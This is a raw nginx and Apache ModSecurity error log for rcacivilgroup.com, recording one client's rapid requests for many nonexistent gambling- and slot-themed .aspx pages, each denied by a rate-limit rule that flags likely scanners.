2026/03/11 01:58:50 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /betflix%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflix%20slot.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 01:58:50.236385 2026] [:error] [pid 7307:tid 7313] [client 79.137.65.139:50156] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/betflix%20slot.aspx"] [unique_id "abBb2utE6Vj1tEJkynHimgAAAMQ"]
[Wed Mar 11 01:58:51.992190 2026] [:error] [pid 7307:tid 7322] [client 79.137.65.139:50178] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/betflix%20thailand.aspx"] [unique_id "abBb2-tE6Vj1tEJkynHinAAAAM0"]
2026/03/11 01:58:51 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /betflix%20thailand.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflix%20thailand.aspx", host: "rcacivilgroup.com"
2026/03/11 01:58:53 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /betflix%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflix%20wallet.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 01:58:53.571147 2026] [:error] [pid 7307:tid 7312] [client 79.137.65.139:50202] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/betflix%20wallet.aspx"] [unique_id "abBb3etE6Vj1tEJkynHioAAAAMM"]
2026/03/11 01:58:55 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /casino%20betflik.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/casino%20betflik.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 01:58:55.170110 2026] [:error] [pid 6892:tid 7095] [client 79.137.65.139:50226] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/casino%20betflik.aspx"] [unique_id "abBb3xRWb70O8HM28tGtTgAAAA4"]
2026/03/11 01:58:56 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /casino%20betflix.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/casino%20betflix.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 01:58:56.745574 2026] [:error] [pid 6894:tid 7191] [client 79.137.65.139:50248] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/casino%20betflix.aspx"] [unique_id "abBb4J4b1T0HQdoE97LwhQAAAIk"]
2026/03/11 01:58:58 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /casino%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/casino%20wallet.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 01:58:58.495416 2026] [:error] [pid 6892:tid 7099] [client 79.137.65.139:50266] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/casino%20wallet.aspx"] [unique_id "abBb4hRWb70O8HM28tGtUAAAABI"]
2026/03/11 01:59:00 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /demon%20slot%20game.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/demon%20slot%20game.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 01:59:00.071441 2026] [:error] [pid 7307:tid 7320] [client 79.137.65.139:50288] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/demon%20slot%20game.aspx"] [unique_id "abBb5OtE6Vj1tEJkynHisQAAAMs"]
[Wed Mar 11 01:59:01.808255 2026] [:error] [pid 6892:tid 7093] [client 79.137.65.139:50316] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dg%20casino.aspx"] [unique_id "abBb5RRWb70O8HM28tGtUgAAAA0"]
2026/03/11 01:59:01 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /dg%20casino.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/dg%20casino.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 01:59:03.425269 2026] [:error] [pid 6892:tid 7080] [client 79.137.65.139:50352] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/g2g%20slot.aspx"] [unique_id "abBb5xRWb70O8HM28tGtVQAAAAI"]
2026/03/11 01:59:03 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /g2g%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/g2g%20slot.aspx", host: "rcacivilgroup.com"
2026/03/11 01:59:04 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /galaxy%20auto%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/galaxy%20auto%20slot.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 01:59:04.991569 2026] [:error] [pid 6894:tid 7198] [client 79.137.65.139:50366] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "abBb6J4b1T0HQdoE97LwkgAAAI8"]
[Wed Mar 11 01:59:06.739012 2026] [:error] [pid 7307:tid 7332] [client 79.137.65.139:50388] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "abBb6utE6Vj1tEJkynHixQAAANc"]
2026/03/11 01:59:06 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /galaxy%20bet%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/galaxy%20bet%20slot.aspx", host: "rcacivilgroup.com"
2026/03/11 01:59:08 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /galaxy%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/galaxy%20slot.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 01:59:08.304030 2026] [:error] [pid 6894:tid 7202] [client 79.137.65.139:50410] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/galaxy%20slot.aspx"] [unique_id "abBb7J4b1T0HQdoE97LwlAAAAJM"]
2026/03/11 01:59:09 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /h25%20com.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/h25%20com.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 01:59:09.879641 2026] [:error] [pid 6894:tid 7207] [client 79.137.65.139:50432] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/h25%20com.aspx"] [unique_id "abBb7Z4b1T0HQdoE97LwmAAAAJc"]
2026/03/11 01:59:11 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /jili%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/jili%20slot.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 01:59:11.621709 2026] [:error] [pid 7307:tid 7313] [client 79.137.65.139:50462] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jili%20slot.aspx"] [unique_id "abBb7-tE6Vj1tEJkynHi1wAAAMQ"]
2026/03/11 01:59:13 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /joker%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/joker%20slot.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 01:59:13.221630 2026] [:error] [pid 7307:tid 7318] [client 79.137.65.139:50488] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/joker%20slot.aspx"] [unique_id "abBb8etE6Vj1tEJkynHi4AAAAMk"]
2026/03/11 01:59:14 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /joker%20vip.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/joker%20vip.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 01:59:14.951495 2026] [:error] [pid 7307:tid 7326] [client 79.137.65.139:50516] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/joker%20vip.aspx"] [unique_id "abBb8utE6Vj1tEJkynHi5gAAANE"]
2026/03/11 01:59:16 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /kingkong%20joker.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/kingkong%20joker.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 01:59:16.538766 2026] [:error] [pid 6894:tid 7189] [client 79.137.65.139:50546] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kingkong%20joker.aspx"] [unique_id "abBb9J4b1T0HQdoE97LwpAAAAIc"]
[Wed Mar 11 01:59:18.117009 2026] [:error] [pid 7307:tid 7310] [client 79.137.65.139:50570] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lava%20slot.aspx"] [unique_id "abBb9utE6Vj1tEJkynHi8QAAAME"]
2026/03/11 01:59:18 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /lava%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/lava%20slot.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 01:59:19.829860 2026] [:error] [pid 6894:tid 7196] [client 79.137.65.139:50602] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mega%20slot.aspx"] [unique_id "abBb954b1T0HQdoE97LwsQAAAI0"]
2026/03/11 01:59:19 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /mega%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/mega%20slot.aspx", host: "rcacivilgroup.com"
2026/03/11 01:59:21 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /metal%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/metal%20slot.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 01:59:21.535369 2026] [:error] [pid 6894:tid 7202] [client 79.137.65.139:50626] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/metal%20slot.aspx"] [unique_id "abBb-Z4b1T0HQdoE97LwtwAAAJM"]
2026/03/11 01:59:23 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /pg%20168.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20168.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 01:59:23.104136 2026] [:error] [pid 6892:tid 7086] [client 79.137.65.139:50650] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pg%20168.aspx"] [unique_id "abBb-xRWb70O8HM28tGtZAAAAAc"]
2026/03/11 01:59:24 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /pg%20auto.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20auto.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 01:59:24.851782 2026] [:error] [pid 7307:tid 7320] [client 79.137.65.139:50674] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pg%20auto.aspx"] [unique_id "abBb_OtE6Vj1tEJkynHjCgAAAMs"]
2026/03/11 01:59:26 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /pg%20betflik.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20betflik.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 01:59:26.434745 2026] [:error] [pid 7307:tid 7312] [client 79.137.65.139:50694] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pg%20betflik.aspx"] [unique_id "abBb_utE6Vj1tEJkynHjDgAAAMM"]
2026/03/11 01:59:28 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /pg%20game%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20game%20slot.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 01:59:28.141918 2026] [:error] [pid 7307:tid 7313] [client 79.137.65.139:50712] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pg%20game%20slot.aspx"] [unique_id "abBcAOtE6Vj1tEJkynHjEQAAAMQ"]
2026/03/11 01:59:29 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /pg%20game.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20game.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 01:59:29.846046 2026] [:error] [pid 6893:tid 7150] [client 79.137.65.139:50734] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pg%20game.aspx"] [unique_id "abBcATQs7J0yTt-T28kXQAAAAEI"]
2026/03/11 01:59:47 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /pg%20slot%20888th.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20slot%20888th.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 01:59:47.108538 2026] [:error] [pid 6893:tid 7153] [client 79.137.65.139:50954] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pg%20slot%20888th.aspx"] [unique_id "abBcEzQs7J0yTt-T28kXVAAAAEQ"]
2026/03/11 01:59:48 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /pg%20slot%20auto%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20slot%20auto%20wallet.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 01:59:48.862895 2026] [:error] [pid 6894:tid 7186] [client 79.137.65.139:50978] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "abBcFJ4b1T0HQdoE97Lw5gAAAIQ"]
2026/03/11 01:59:50 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /pg%20slot%20auto.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20slot%20auto.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 01:59:50.441517 2026] [:error] [pid 6892:tid 7089] [client 79.137.65.139:51002] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pg%20slot%20auto.aspx"] [unique_id "abBcFhRWb70O8HM28tGtdgAAAAk"]
[Wed Mar 11 01:59:52.169800 2026] [:error] [pid 7307:tid 7322] [client 79.137.65.139:51024] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pg%20slot%20game.aspx"] [unique_id "abBcGOtE6Vj1tEJkynHjRwAAAM0"]
2026/03/11 01:59:52 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /pg%20slot%20game.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20slot%20game.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 01:59:53.740200 2026] [:error] [pid 7307:tid 7316] [client 79.137.65.139:51050] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "abBcGetE6Vj1tEJkynHjUAAAAMc"]
2026/03/11 01:59:53 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /pg%20slot%20vegas.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20slot%20vegas.aspx", host: "rcacivilgroup.com"
2026/03/11 01:59:55 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /pg%20slot%20vip.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20slot%20vip.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 01:59:55.478341 2026] [:error] [pid 7307:tid 7313] [client 79.137.65.139:51076] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pg%20slot%20vip.aspx"] [unique_id "abBcG-tE6Vj1tEJkynHjWQAAAMQ"]
2026/03/11 01:59:57 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /pg%20slot%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20slot%20wallet.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 01:59:57.035092 2026] [:error] [pid 6894:tid 7200] [client 79.137.65.139:51094] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "abBcHZ4b1T0HQdoE97Lw8wAAAJE"]
2026/03/11 01:59:58 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /pg%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20slot.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 01:59:58.739221 2026] [:error] [pid 7307:tid 7312] [client 79.137.65.139:51114] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pg%20slot.aspx"] [unique_id "abBcHutE6Vj1tEJkynHjZAAAAMM"]
[Wed Mar 11 02:00:00.451205 2026] [:error] [pid 6892:tid 7098] [client 79.137.65.139:51136] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pg%20slot168.aspx"] [unique_id "abBcIBRWb70O8HM28tGtegAAABE"]
2026/03/11 02:00:00 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /pg%20slot168.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20slot168.aspx", host: "rcacivilgroup.com"
2026/03/11 02:00:02 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /pg%20slot99.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20slot99.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 02:00:02.165916 2026] [:error] [pid 7307:tid 7333] [client 79.137.65.139:51160] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pg%20slot99.aspx"] [unique_id "abBcIutE6Vj1tEJkynHjbAAAANg"]
2026/03/11 02:00:03 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /pg%20soft.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20soft.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 02:00:03.879338 2026] [:error] [pid 7307:tid 7323] [client 79.137.65.139:51184] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pg%20soft.aspx"] [unique_id "abBcI-tE6Vj1tEJkynHjdQAAAM4"]
